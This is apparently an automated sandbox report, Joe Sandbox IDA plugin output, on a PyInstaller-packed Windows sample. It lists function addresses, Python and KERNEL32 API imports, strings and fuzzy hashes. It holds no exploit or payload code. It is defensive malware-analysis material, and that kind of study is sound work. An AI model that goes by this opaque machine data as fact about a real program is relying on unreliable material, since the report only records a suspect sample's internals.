Failed to get address for PyConfig_InitIsolatedConfig, xrefs: 00007FF72AA7534E
Failed to get address for Py_InitializeFromConfig, xrefs: 00007FF72AA752AE
Failed to get address for PyRun_SimpleStringFlags, xrefs: 00007FF72AA75736
Failed to get address for PyUnicode_FromFormat, xrefs: 00007FF72AA7584E
Failed to get address for PyImport_ImportModule, xrefs: 00007FF72AA7557E
PyUnicode_AsUTF8, xrefs: 00007FF72AA757BA
Failed to get address for Py_Finalize, xrefs: 00007FF72AA75286
Failed to get address for Py_ExitStatusException, xrefs: 00007FF72AA75261
Failed to get address for PyUnicode_DecodeFSDefault, xrefs: 00007FF72AA75826
Failed to get address for PyConfig_SetBytesString, xrefs: 00007FF72AA7539E
Failed to get address for PyStatus_Exception, xrefs: 00007FF72AA7575E
Failed to get address for PyConfig_Clear, xrefs: 00007FF72AA75326
Failed to get address for PyErr_Clear, xrefs: 00007FF72AA75416
Py_PreInitialize, xrefs: 00007FF72AA752E2
Py_ExitStatusException, xrefs: 00007FF72AA75245
Failed to get address for PyErr_Restore, xrefs: 00007FF72AA754DE
PyUnicode_DecodeFSDefault, xrefs: 00007FF72AA7580A
Failed to get address for PyMem_RawFree, xrefs: 00007FF72AA755F6
Failed to get address for PyImport_ExecCodeModule, xrefs: 00007FF72AA75556
Failed to get address for PyObject_GetAttrString, xrefs: 00007FF72AA75696
PyModule_GetDict, xrefs: 00007FF72AA75602
Failed to get address for Py_IsInitialized, xrefs: 00007FF72AA752D6
Failed to get address for Py_DecRef, xrefs: 00007FF72AA75202
Failed to get address for PyUnicode_AsUTF8, xrefs: 00007FF72AA757D6
Failed to get address for PyObject_CallFunction, xrefs: 00007FF72AA75646
Failed to get address for PyObject_CallFunctionObjArgs, xrefs: 00007FF72AA7566E

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID: AddressProc
String ID: Failed to get address for PyConfig_Clear$Failed to get address for PyConfig_InitIsolatedConfig$Failed to get address for PyConfig_Read$Failed to get address for PyConfig_SetBytesString$Failed to get address for PyConfig_SetString$Failed to get address for PyConfig_SetWideStringList$Failed to get address for PyErr_Clear$Failed to get address for PyErr_Fetch$Failed to get address for PyErr_NormalizeException$Failed to get address for PyErr_Occurred$Failed to get address for PyErr_Print$Failed to get address for PyErr_Restore$Failed to get address for PyEval_EvalCode$Failed to get address for PyImport_AddModule$Failed to get address for PyImport_ExecCodeModule$Failed to get address for PyImport_ImportModule$Failed to get address for PyList_Append$Failed to get address for PyMarshal_ReadObjectFromString$Failed to get address for PyMem_RawFree$Failed to get address for PyModule_GetDict$Failed to get address for PyObject_CallFunction$Failed to get address for PyObject_CallFunctionObjArgs$Failed to get address for PyObject_GetAttrString$Failed to get address for PyObject_SetAttrString$Failed to get address for PyObject_Str$Failed to get address for PyPreConfig_InitIsolatedConfig$Failed to get address for PyRun_SimpleStringFlags$Failed to get address for PyStatus_Exception$Failed to get address for PySys_GetObject$Failed to get address for PySys_SetObject$Failed to get address for PyUnicode_AsUTF8$Failed to get address for PyUnicode_Decode$Failed to get address for PyUnicode_DecodeFSDefault$Failed to get address for PyUnicode_FromFormat$Failed to get address for PyUnicode_FromString$Failed to get address for PyUnicode_Join$Failed to get address for PyUnicode_Replace$Failed to get address for Py_DecRef$Failed to get address for Py_DecodeLocale$Failed to get address for Py_ExitStatusException$Failed to get address for Py_Finalize$Failed to get address for Py_InitializeFromConfig$Failed to get address for Py_IsInitialized$Failed to get address for Py_PreInitialize$GetProcAddress$PyConfig_Clear$PyConfig_InitIsolatedConfig$PyConfig_Read$PyConfig_SetBytesString$PyConfig_SetString$PyConfig_SetWideStringList$PyErr_Clear$PyErr_Fetch$PyErr_NormalizeException$PyErr_Occurred$PyErr_Print$PyErr_Restore$PyEval_EvalCode$PyImport_AddModule$PyImport_ExecCodeModule$PyImport_ImportModule$PyList_Append$PyMarshal_ReadObjectFromString$PyMem_RawFree$PyModule_GetDict$PyObject_CallFunction$PyObject_CallFunctionObjArgs$PyObject_GetAttrString$PyObject_SetAttrString$PyObject_Str$PyPreConfig_InitIsolatedConfig$PyRun_SimpleStringFlags$PyStatus_Exception$PySys_GetObject$PySys_SetObject$PyUnicode_AsUTF8$PyUnicode_Decode$PyUnicode_DecodeFSDefault$PyUnicode_FromFormat$PyUnicode_FromString$PyUnicode_Join$PyUnicode_Replace$Py_DecRef$Py_DecodeLocale$Py_ExitStatusException$Py_Finalize$Py_InitializeFromConfig$Py_IsInitialized$Py_PreInitialize
API String ID: 190572456-4266016200
Opcode ID: 0f541286951d05cfde1ee621bc5578c8d1597a0a29c56f9860b2b78389049273
Instruction ID: c4d9ef6f44e8b5a973ba50a7268e280b4aa6974020d4b995f51f5a3ecad0f1d2
Opcode Fuzzy Hash: 0f541286951d05cfde1ee621bc5578c8d1597a0a29c56f9860b2b78389049273
Instruction Fuzzy Hash: 5912B665A4EB0391FB59BB04AC50D79A3B1EF04754FD454B6C80E062A4FF7CB68ACA60

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA94CFC Relevance: 24.0, APIs: 9, Strings: 4, Instructions: 1226COMMON

Download Yara Rule

APIs

fegetenv.LIBCMT ref: 00007FF72AA94D4A
_invalid_parameter_noinfo.LIBCMT ref: 00007FF72AA953B6
_invalid_parameter_noinfo.LIBCMT ref: 00007FF72AA9552C
_invalid_parameter_noinfo.LIBCMT ref: 00007FF72AA957EA
_invalid_parameter_noinfo.LIBCMT ref: 00007FF72AA95A0A
_invalid_parameter_noinfo.LIBCMT ref: 00007FF72AA95C47
memcpy_s.LIBCPMT ref: 00007FF72AA95D22
memcpy_s.LIBCPMT ref: 00007FF72AA95DCD
memcpy_s.LIBCPMT ref: 00007FF72AA95E9C

Strings

1#INF, xrefs: 00007FF72AA94E73
1#QNAN, xrefs: 00007FF72AA94E63
1#SNAN, xrefs: 00007FF72AA94E5A
1#IND, xrefs: 00007FF72AA94E37

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID: _invalid_parameter_noinfo$memcpy_s$fegetenv
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 808467561-2761157908
Opcode ID: ee6ddb9c22397a02ef7f89c4ae9451cd5ee51806b236cf38c383584f5dc4b0f7
Instruction ID: e73e4907cd42938f4e2ccd63a873a2f9f9a4dcf8346680cbd24f8209bcab22c6
Opcode Fuzzy Hash: ee6ddb9c22397a02ef7f89c4ae9451cd5ee51806b236cf38c383584f5dc4b0f7
Instruction Fuzzy Hash: 4DB2D272A182838BF7649E64DC41FFDB7B1FF44388F905175DA0A57A84DB38AA068F50

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA78560 Relevance: 15.8, APIs: 3, Strings: 6, Instructions: 52windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,00007FF72AA72A3E,?,?,?,?,?,?,?,?,?,?,?,00007FF72AA7101D), ref: 00007FF72AA78587
FormatMessageW.KERNEL32 ref: 00007FF72AA785B6
WideCharToMultiByte.KERNEL32 ref: 00007FF72AA7860C

Part of subcall function 00007FF72AA729C0: GetLastError.KERNEL32(00000000,00000000,00000000,00007FF72AA788E2,?,?,?,?,?,?,?,?,?,?,?,00007FF72AA7101D), ref: 00007FF72AA729F4
Part of subcall function 00007FF72AA729C0: MessageBoxW.USER32 ref: 00007FF72AA72AD0

Strings

WideCharToMultiByte, xrefs: 00007FF72AA7861D
Failed to encode wchar_t as UTF-8., xrefs: 00007FF72AA78616
No error messages generated., xrefs: 00007FF72AA785C0
PyInstaller: pyi_win32_utils_to_utf8 failed., xrefs: 00007FF72AA78629
FormatMessageW, xrefs: 00007FF72AA785C7
PyInstaller: FormatMessageW failed., xrefs: 00007FF72AA785D3

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID: ErrorLastMessage$ByteCharFormatMultiWide
String ID: Failed to encode wchar_t as UTF-8.$FormatMessageW$No error messages generated.$PyInstaller: FormatMessageW failed.$PyInstaller: pyi_win32_utils_to_utf8 failed.$WideCharToMultiByte
API String ID: 2920928814-2573406579
Opcode ID: 341253ed490ea0d4c0f2cc2c63e3841e2b0994626e2ed60ed720fa43fab6ebbb
Instruction ID: 4b9ef69ada7a1840c72661e3226abdc001dde30be07b21520de90cd646656444
Opcode Fuzzy Hash: 341253ed490ea0d4c0f2cc2c63e3841e2b0994626e2ed60ed720fa43fab6ebbb
Instruction Fuzzy Hash: 02216061A08A4396F760AF11EC44E7AE2B5FF88784FC40176D64D826A5EF3CD6468F60

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA7C6AC Relevance: 10.6, APIs: 7, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF72AA7C6C8
RtlCaptureContext.KERNEL32 ref: 00007FF72AA7C6F5
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF72AA7C70F
RtlVirtualUnwind.KERNEL32 ref: 00007FF72AA7C750
IsDebuggerPresent.KERNEL32 ref: 00007FF72AA7C7A4
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF72AA7C7C1
UnhandledExceptionFilter.KERNEL32 ref: 00007FF72AA7C7CC

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: f0495aeca64e737fa0ff218dd5454e1fd46196f668a698fc407bc1dcdf963f54
Instruction ID: d5480afbc93622b4afd22dda2aa302e29204b103e5121333c9dce7ea3c392371
Opcode Fuzzy Hash: f0495aeca64e737fa0ff218dd5454e1fd46196f668a698fc407bc1dcdf963f54
Instruction Fuzzy Hash: E2310076605A828AFB609F60EC40BEEB374FB84744F84407ADA4D47B95DF38D649CB14

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA8B1B8 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF72AA8B231
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF72AA8B249
RtlVirtualUnwind.KERNEL32 ref: 00007FF72AA8B284
IsDebuggerPresent.KERNEL32 ref: 00007FF72AA8B2BD
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF72AA8B2C7
UnhandledExceptionFilter.KERNEL32 ref: 00007FF72AA8B2D2

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: fd667905384e7d9d9673078d4bc89f495a5f33449598c9bf886212c96aaa5de2
Instruction ID: 91b0120e5911f7aa38bd5df022e6a6aa27e786df772eabf8068c081336185d6b
Opcode Fuzzy Hash: fd667905384e7d9d9673078d4bc89f495a5f33449598c9bf886212c96aaa5de2
Instruction Fuzzy Hash: 0D312F36618F818AE7609F25EC40AAEB3B4FF88754F900176EA8D43B55DF38D656CB10

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA924C4 Relevance: 7.8, APIs: 5, Instructions: 282COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF72AA92510
FindFirstFileExW.KERNEL32 ref: 00007FF72AA9261A

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID: FileFindFirst_invalid_parameter_noinfo
String ID:
API String ID: 2227656907-0
Opcode ID: 18153d3bacff35197e7a12e87e099423dfee31ad9b8f95cd6c78971f36698885
Instruction ID: 22636d131978b6f98b788ad6f4832b1aaf617010433b8938b721feb6e2cb3541
Opcode Fuzzy Hash: 18153d3bacff35197e7a12e87e099423dfee31ad9b8f95cd6c78971f36698885
Instruction Fuzzy Hash: C5B1B122B1969341FB60EB25DC10DB9E2B0EF44BE4F844171EA4D17B85DE3CE54A8B20

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA7C590 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF72AA7C5BC
GetCurrentThreadId.KERNEL32 ref: 00007FF72AA7C5CA
GetCurrentProcessId.KERNEL32 ref: 00007FF72AA7C5D6
QueryPerformanceCounter.KERNEL32 ref: 00007FF72AA7C5E6

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: c9256d3c29dec7defdbd069e132950cc3752c5933af8d37e6b370c711f310d19
Instruction ID: ba9e22b727f314fdde2ac56eaf13c21939d1f1d456cd85bd7b912e0866b62b94
Opcode Fuzzy Hash: c9256d3c29dec7defdbd069e132950cc3752c5933af8d37e6b370c711f310d19
Instruction Fuzzy Hash: 96114C22B14F028AFB00EF60EC44AB873B4FB18758F841E31DA6D427A4EF38D1558790

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA94860 Relevance: 4.8, APIs: 3, Instructions: 340COMMON

Download Yara Rule

APIs

memcpy_s.LIBCPMT ref: 00007FF72AA948C6
memcpy_s.LIBCPMT ref: 00007FF72AA948F1

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID: memcpy_s
String ID:
API String ID: 1502251526-0
Opcode ID: 723df14fe8405c9280d13974b9e0b256372cd2939c4def8ecbac686ef57d643c
Instruction ID: e54f1f928882970061d35e95b7dec57d63fdefbc8797c0a6ba99a689eaf8d7c7
Opcode Fuzzy Hash: 723df14fe8405c9280d13974b9e0b256372cd2939c4def8ecbac686ef57d643c
Instruction Fuzzy Hash: B0C1F772B186868BE724DF15A844E6AF7A1FB84784F858134DB4E47B44DB3DE902CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA9A5D8 Relevance: 3.2, APIs: 2, Instructions: 227COMMONLIBRARYCODE

Download Yara Rule

APIs

_clrfp.LIBCMT ref: 00007FF72AA9A827
RaiseException.KERNEL32 ref: 00007FF72AA9A838

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID: ExceptionRaise_clrfp
String ID:
API String ID: 15204871-0
Opcode ID: 48b97647827edafc3b78799631f3641f64fd5a0bbb932a3008f366d071470ff1
Instruction ID: 8ca1488da99d5c1686e771c1baac0ca71f0501f71ad18b42a2aa12f4640da695
Opcode Fuzzy Hash: 48b97647827edafc3b78799631f3641f64fd5a0bbb932a3008f366d071470ff1
Instruction Fuzzy Hash: D3B15C77600B868AEB15CF29CC86768B7B0FB44B48F55C862DA5E837A4CB39D553CB10

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA840C4 Relevance: 2.8, Strings: 2, Instructions: 350COMMON

Download Yara Rule

Strings

, xrefs: 00007FF72AA84474
, xrefs: 00007FF72AA84232

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: $
API String ID: 0-227171996
Opcode ID: 92ab44aa671049a5d726c4e1cd9e81523bdb76ab1b5bae976e988b650b47c5f7
Instruction ID: 4b1cc464fe6457828bb1b080ce2da0e33811da16b4536f56a565c88f1e56d801
Opcode Fuzzy Hash: 92ab44aa671049a5d726c4e1cd9e81523bdb76ab1b5bae976e988b650b47c5f7
Instruction Fuzzy Hash: 40E1C636A086468BFB68EF25C85093DA7B0FF55B48F940275DA4E07794EF29E853CB10

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA8EA90 Relevance: 2.6, Strings: 2, Instructions: 144COMMON

Download Yara Rule

Strings

e+000, xrefs: 00007FF72AA8EB9D
gfff, xrefs: 00007FF72AA8EC1A

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: e+000$gfff
API String ID: 0-3030954782
Opcode ID: 414bc82e88e4b1ba2530bd57a0790f599c7f8d835f00ab403542f9b81ab3ad6c
Instruction ID: 3f6acea16dd75ad8a82258de0863e4fd615318961b1360259ad39db4351346ac
Opcode Fuzzy Hash: 414bc82e88e4b1ba2530bd57a0790f599c7f8d835f00ab403542f9b81ab3ad6c
Instruction Fuzzy Hash: DD515762B182C58AF7359E359C05B69ABA1FF44B94F88C271CB984BAC5CE3DD4468F10

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA91518 Relevance: 2.0, APIs: 1, Instructions: 461COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID: CurrentFeaturePresentProcessProcessor
String ID:
API String ID: 1010374628-0
Opcode ID: daa1868950d22527141b3bb5e52a58b64e58f1e29eb8866760703242d5ff76be
Instruction ID: 1a605ec92eb46ef39db0a6c428dc0160be5ce497c738a2628e4194de990c08c3
Opcode Fuzzy Hash: daa1868950d22527141b3bb5e52a58b64e58f1e29eb8866760703242d5ff76be
Instruction Fuzzy Hash: 2F02B021B0964344FBA1BB219C01E79E6B4EF41BA0FD845B5DE5D463D2DE3DA90B8B20

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA8E5FC Relevance: 1.5, Strings: 1, Instructions: 254COMMON

Download Yara Rule

Strings

gfffffff, xrefs: 00007FF72AA8E93E

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: gfffffff
API String ID: 0-1523873471
Opcode ID: bb93477e02d4e941dcb5b3cdf68f9d2c091b313a0377ba104bac55ee011317e1
Instruction ID: 097f8a345e2bb7f747c7fc7c99f973df08d797cb4e41364e48a2c5214a4e4f20
Opcode Fuzzy Hash: bb93477e02d4e941dcb5b3cdf68f9d2c091b313a0377ba104bac55ee011317e1
Instruction Fuzzy Hash: 4FA10362B087868AFB31DF25A800BADBBA1EF50B84F458172DA8D47795DE3DD502CF11

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA88CB0 Relevance: 1.4, Strings: 1, Instructions: 177COMMON

Download Yara Rule

Strings

TMP, xrefs: 00007FF72AA88CCF

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: TMP
API String ID: 3215553584-3125297090
Opcode ID: f418ac5b73ce95224f4cdc4c7ad8bddcd0a3b001ad5768b3b557a0f5eb967220
Instruction ID: 3e0bae8071cd99315c064095bc5ea7d2f1e0d63a4f69758a09c927561f5bfeaa
Opcode Fuzzy Hash: f418ac5b73ce95224f4cdc4c7ad8bddcd0a3b001ad5768b3b557a0f5eb967220
Instruction Fuzzy Hash: 7151AC15B0920349FB64BA269D0197AD2F1EF58BC4FC844B6DE0D47796EE3CE4178A20

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA940D0 Relevance: 1.3, APIs: 1, Instructions: 7memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF72AA940D4

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
